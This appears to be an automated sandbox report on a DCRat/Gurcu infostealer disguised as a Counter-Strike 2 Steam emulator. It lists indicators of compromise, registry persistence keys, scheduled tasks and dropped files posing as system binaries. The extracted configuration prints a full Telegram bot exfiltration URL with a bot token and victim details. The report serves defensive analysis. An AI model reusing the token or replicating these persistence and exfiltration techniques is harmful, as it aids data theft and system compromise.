dcrat | 4415d417dd1b3ccd3c86fa55cf3add99e493218cb0c1405efaf8e55ac7b5c666

Analysis

max time kernel
30s
max time network
31s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
23-07-2024 04:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Cs2SteamEmul.exe
Size

2.8MB
MD5

d48669a634489ed4baf9e84aedd9d2bd
SHA1

e7b7bdf6e10584eb07547e7237bd654b42abcf84
SHA256

4415d417dd1b3ccd3c86fa55cf3add99e493218cb0c1405efaf8e55ac7b5c666
SHA512

d902e3d77f7cc33f806b1e298fb51905636bb9ea83cf5a030c18ed33400e656edf3223a0ff4f6e7fcef20b427413cbf5a5132b914d37f476cd4ad6d90db46a90
SSDEEP

49152:8bA3W4Dw1beHhL/rBnVQzQ2Bq5U+0HE26wyiK4Csx7aPNUmTk:8b6PHhXB6e2dHfxJ1xu/k

Score

10^/10

dcrat gurcu evasion infostealer persistence rat stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot6979274084:AAEyYu9GraaLRF3G8cNhU_3K2BT8GSrxiUE/sendPhoto?chat_id=5314031191&caption=%E2%9D%95%20User%20connected%20%E2%9D%95%0A%E2%80%A2%20ID%3A%2062477bf91d87e9a7b3a98d9e37efb8429a9aedf3%0A%E2%80%A2%20Comment%3A%20%0A%0A%E2%80%A2%20User%20Name%3A%20Admin%0A%E2%80%A2%20PC%20Name%3A%20XZBQXJLF%0A%E2%80%A2%20OS%20Info%3A%20Windows%2010%20Pro%0A%0A%E2%80%A2%20IP%3A%20194.110.13.70%0A%E2%80%A2%20GEO%3A%20GB%20%2F%20London%0A%0A%E2%80%A2%20Working%20Directory%3A%20C%3A%5CWindows%5CSystem32%5Crestore%5CSystem.ex

Signatures

DcRat 44 IoCs

DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

rat infostealer dcrat

description	ioc	pid	Process
		640	schtasks.exe
		4064	schtasks.exe
		1956	schtasks.exe
		3156	schtasks.exe
		1100	schtasks.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation		Cs2SteamEmul.exe
		4148	schtasks.exe
		2860	schtasks.exe
		4908	schtasks.exe
		4708	schtasks.exe
		4332	schtasks.exe
		4516	schtasks.exe
		1356	schtasks.exe
		3920	schtasks.exe
		3924	schtasks.exe
		848	schtasks.exe
		3220	schtasks.exe
		1680	schtasks.exe
		1848	schtasks.exe
		4816	schtasks.exe
		1216	schtasks.exe
		2272	schtasks.exe
		5024	schtasks.exe
		5112	schtasks.exe
		1552	schtasks.exe
		3040	schtasks.exe
		4488	schtasks.exe
		4104	schtasks.exe
File created	C:\Windows\CbsTemp\eddb19405b7ce1		hyperBrowser.exe
		3228	schtasks.exe
		2484	schtasks.exe
		1544	schtasks.exe
		2596	schtasks.exe
		4688	schtasks.exe
		4620	schtasks.exe
		2220	schtasks.exe
		4520	schtasks.exe
		452	schtasks.exe
		464	schtasks.exe
		4544	schtasks.exe
		1296	schtasks.exe
		1180	schtasks.exe
		2092	schtasks.exe
		4040	schtasks.exe

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Modifies WinLogon for persistence 2 TTPs 14 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\WaaSMedicAgent.exe\", \"C:\\ChainSurrogateref\\sysmon.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\winlogon.exe\", \"C:\\Recovery\\WindowsRE\\spoolsv.exe\", \"C:\\Users\\Default\\WmiPrvSE.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Windows\\IdentityCRL\\upfc.exe\", \"C:\\Windows\\System32\\restore\\System.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\WaaSMedicAgent.exe\", \"C:\\ChainSurrogateref\\sysmon.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\winlogon.exe\", \"C:\\Recovery\\WindowsRE\\spoolsv.exe\", \"C:\\Users\\Default\\WmiPrvSE.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Windows\\IdentityCRL\\upfc.exe\", \"C:\\Windows\\System32\\restore\\System.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\WaaSMedicAgent.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\WaaSMedicAgent.exe\", \"C:\\ChainSurrogateref\\sysmon.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\winlogon.exe\", \"C:\\Recovery\\WindowsRE\\spoolsv.exe\", \"C:\\Users\\Default\\WmiPrvSE.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\WaaSMedicAgent.exe\", \"C:\\ChainSurrogateref\\sysmon.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\winlogon.exe\", \"C:\\Recovery\\WindowsRE\\spoolsv.exe\", \"C:\\Users\\Default\\WmiPrvSE.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Windows\\IdentityCRL\\upfc.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\WaaSMedicAgent.exe\", \"C:\\ChainSurrogateref\\sysmon.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\winlogon.exe\", \"C:\\Recovery\\WindowsRE\\spoolsv.exe\", \"C:\\Users\\Default\\WmiPrvSE.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Windows\\IdentityCRL\\upfc.exe\", \"C:\\Windows\\System32\\restore\\System.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files\\WindowsPowerShell\\Configuration\\explorer.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\uk-UA\\Registry.exe\", \"C:\\Program Files\\Crashpad\\reports\\services.exe\", \"C:\\Program Files\\Java\\WaaSMedicAgent.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\WaaSMedicAgent.exe\", \"C:\\ChainSurrogateref\\sysmon.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\winlogon.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\WaaSMedicAgent.exe\", \"C:\\ChainSurrogateref\\sysmon.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\WaaSMedicAgent.exe\", \"C:\\ChainSurrogateref\\sysmon.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\winlogon.exe\", \"C:\\Recovery\\WindowsRE\\spoolsv.exe\", \"C:\\Users\\Default\\WmiPrvSE.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\WaaSMedicAgent.exe\", \"C:\\ChainSurrogateref\\sysmon.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\winlogon.exe\", \"C:\\Recovery\\WindowsRE\\spoolsv.exe\", \"C:\\Users\\Default\\WmiPrvSE.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Windows\\IdentityCRL\\upfc.exe\", \"C:\\Windows\\System32\\restore\\System.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files\\WindowsPowerShell\\Configuration\\explorer.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\uk-UA\\Registry.exe\", \"C:\\Program Files\\Crashpad\\reports\\services.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\WaaSMedicAgent.exe\", \"C:\\ChainSurrogateref\\sysmon.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\winlogon.exe\", \"C:\\Recovery\\WindowsRE\\spoolsv.exe\", \"C:\\Users\\Default\\WmiPrvSE.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Windows\\IdentityCRL\\upfc.exe\", \"C:\\Windows\\System32\\restore\\System.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files\\WindowsPowerShell\\Configuration\\explorer.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\WaaSMedicAgent.exe\", \"C:\\ChainSurrogateref\\sysmon.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\winlogon.exe\", \"C:\\Recovery\\WindowsRE\\spoolsv.exe\", \"C:\\Users\\Default\\WmiPrvSE.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Windows\\IdentityCRL\\upfc.exe\", \"C:\\Windows\\System32\\restore\\System.exe\", \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\Program Files\\WindowsPowerShell\\Configuration\\explorer.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\uk-UA\\Registry.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\", \"C:\\Recovery\\WindowsRE\\WaaSMedicAgent.exe\", \"C:\\ChainSurrogateref\\sysmon.exe\", \"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\winlogon.exe\", \"C:\\Recovery\\WindowsRE\\spoolsv.exe\""	hyperBrowser.exe

Process spawned unexpected child process 42 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1552	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2092	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3156	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1100	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1296	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1180	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4148	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4040	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5024	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4620	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1544	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4104	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3220	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5112	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1848	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2484	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4488	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2860	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1680	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	848	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	640	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4516	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3040	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4064	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4908	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2220	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	464	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1956	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1356	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4816	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4708	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4520	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4544	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	452	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1216	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3920	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4332	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2596	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4688	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3228	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3924	3048	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2272	3048	schtasks.exe	91

DCRat payload 2 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral4/files/0x00070000000234cc-10.dat	dcrat
behavioral4/memory/3892-13-0x0000000000800000-0x0000000000A92000-memory.dmp	dcrat

Disables Task Manager via registry modification
evasion

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	Cs2SteamEmul.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	hyperBrowser.exe

Executes dropped EXE 2 IoCs

pid	Process
3892	hyperBrowser.exe
1232	System.exe

Adds Run key to start application 2 TTPs 28 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\services = "\"C:\\Program Files\\Crashpad\\reports\\services.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WaaSMedicAgent = "\"C:\\Program Files\\Java\\WaaSMedicAgent.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "\"C:\\Windows\\System32\\restore\\System.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\Program Files (x86)\\Internet Explorer\\uk-UA\\Registry.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WaaSMedicAgent = "\"C:\\Recovery\\WindowsRE\\WaaSMedicAgent.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\Program Files\\WindowsPowerShell\\Configuration\\explorer.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sysmon = "\"C:\\ChainSurrogateref\\sysmon.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sysmon = "\"C:\\ChainSurrogateref\\sysmon.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\upfc = "\"C:\\Windows\\IdentityCRL\\upfc.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WaaSMedicAgent = "\"C:\\Program Files\\Java\\WaaSMedicAgent.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Users\\Default\\WmiPrvSE.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\upfc = "\"C:\\Windows\\IdentityCRL\\upfc.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Recovery\\WindowsRE\\csrss.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winlogon = "\"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\winlogon.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Recovery\\WindowsRE\\csrss.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\backgroundTaskHost = "\"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Recovery\\WindowsRE\\spoolsv.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\backgroundTaskHost = "\"C:\\Windows\\CbsTemp\\backgroundTaskHost.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Recovery\\WindowsRE\\spoolsv.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Users\\Default\\WmiPrvSE.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\Program Files\\WindowsPowerShell\\Configuration\\explorer.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\services = "\"C:\\Program Files\\Crashpad\\reports\\services.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WaaSMedicAgent = "\"C:\\Recovery\\WindowsRE\\WaaSMedicAgent.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winlogon = "\"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\winlogon.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "\"C:\\Windows\\System32\\restore\\System.exe\""	hyperBrowser.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\Program Files (x86)\\Internet Explorer\\uk-UA\\Registry.exe\""	hyperBrowser.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
28	pastebin.com
29	pastebin.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
36	ipinfo.io
37	ipinfo.io

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\restore\27d1bcfc3c54e0	hyperBrowser.exe
File created	C:\Windows\System32\restore\System.exe	hyperBrowser.exe

Drops file in Program Files directory 10 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\cc11b995f2a76d	hyperBrowser.exe
File created	C:\Program Files\WindowsPowerShell\Configuration\7a0fd90576e088	hyperBrowser.exe
File created	C:\Program Files (x86)\Internet Explorer\uk-UA\ee2ad38f3d4382	hyperBrowser.exe
File created	C:\Program Files\Java\c82b8037eab33d	hyperBrowser.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\winlogon.exe	hyperBrowser.exe
File created	C:\Program Files (x86)\Internet Explorer\uk-UA\Registry.exe	hyperBrowser.exe
File created	C:\Program Files\Crashpad\reports\services.exe	hyperBrowser.exe
File created	C:\Program Files\Crashpad\reports\c5b4cb5e9653cc	hyperBrowser.exe
File created	C:\Program Files\Java\WaaSMedicAgent.exe	hyperBrowser.exe
File created	C:\Program Files\WindowsPowerShell\Configuration\explorer.exe	hyperBrowser.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\CbsTemp\eddb19405b7ce1	hyperBrowser.exe
File created	C:\Windows\IdentityCRL\upfc.exe	hyperBrowser.exe
File created	C:\Windows\IdentityCRL\ea1d8f6d871115	hyperBrowser.exe
File created	C:\Windows\CbsTemp\backgroundTaskHost.exe	hyperBrowser.exe
File opened for modification	C:\Windows\CbsTemp\backgroundTaskHost.exe	hyperBrowser.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings	Cs2SteamEmul.exe
Key created	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000_Classes\Local Settings	hyperBrowser.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2904	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 42 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4516	schtasks.exe
1100	schtasks.exe
1180	schtasks.exe
5024	schtasks.exe
4104	schtasks.exe
3040	schtasks.exe
3924	schtasks.exe
1552	schtasks.exe
452	schtasks.exe
4688	schtasks.exe
1544	schtasks.exe
2860	schtasks.exe
4064	schtasks.exe
464	schtasks.exe
4544	schtasks.exe
2596	schtasks.exe
4520	schtasks.exe
1216	schtasks.exe
4040	schtasks.exe
4620	schtasks.exe
5112	schtasks.exe
4488	schtasks.exe
1680	schtasks.exe
848	schtasks.exe
4332	schtasks.exe
2272	schtasks.exe
2092	schtasks.exe
1296	schtasks.exe
1848	schtasks.exe
2484	schtasks.exe
4908	schtasks.exe
1356	schtasks.exe
3156	schtasks.exe
4148	schtasks.exe
640	schtasks.exe
4816	schtasks.exe
4708	schtasks.exe
3228	schtasks.exe
3220	schtasks.exe
2220	schtasks.exe
1956	schtasks.exe
3920	schtasks.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
3892	hyperBrowser.exe
3892	hyperBrowser.exe
3892	hyperBrowser.exe
3892	hyperBrowser.exe
3892	hyperBrowser.exe
3892	hyperBrowser.exe
3892	hyperBrowser.exe
3892	hyperBrowser.exe
3892	hyperBrowser.exe
3892	hyperBrowser.exe
3892	hyperBrowser.exe
3892	hyperBrowser.exe
1232	System.exe
1232	System.exe
1232	System.exe
1232	System.exe
1232	System.exe
1232	System.exe
1232	System.exe
1232	System.exe
1232	System.exe
1232	System.exe
1232	System.exe
1232	System.exe
1232	System.exe
1232	System.exe
1232	System.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3892	hyperBrowser.exe
Token: SeDebugPrivilege	1232	System.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 1364 wrote to memory of 4792	1364	Cs2SteamEmul.exe	86
PID 1364 wrote to memory of 4792	1364	Cs2SteamEmul.exe	86
PID 1364 wrote to memory of 4792	1364	Cs2SteamEmul.exe	86
PID 4792 wrote to memory of 1508	4792	WScript.exe	93
PID 4792 wrote to memory of 1508	4792	WScript.exe	93
PID 4792 wrote to memory of 1508	4792	WScript.exe	93
PID 1508 wrote to memory of 3892	1508	cmd.exe	95
PID 1508 wrote to memory of 3892	1508	cmd.exe	95
PID 3892 wrote to memory of 668	3892	hyperBrowser.exe	138
PID 3892 wrote to memory of 668	3892	hyperBrowser.exe	138
PID 1508 wrote to memory of 2904	1508	cmd.exe	140
PID 1508 wrote to memory of 2904	1508	cmd.exe	140
PID 1508 wrote to memory of 2904	1508	cmd.exe	140
PID 668 wrote to memory of 4388	668	cmd.exe	141
PID 668 wrote to memory of 4388	668	cmd.exe	141
PID 668 wrote to memory of 1232	668	cmd.exe	144
PID 668 wrote to memory of 1232	668	cmd.exe	144

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Cs2SteamEmul.exe
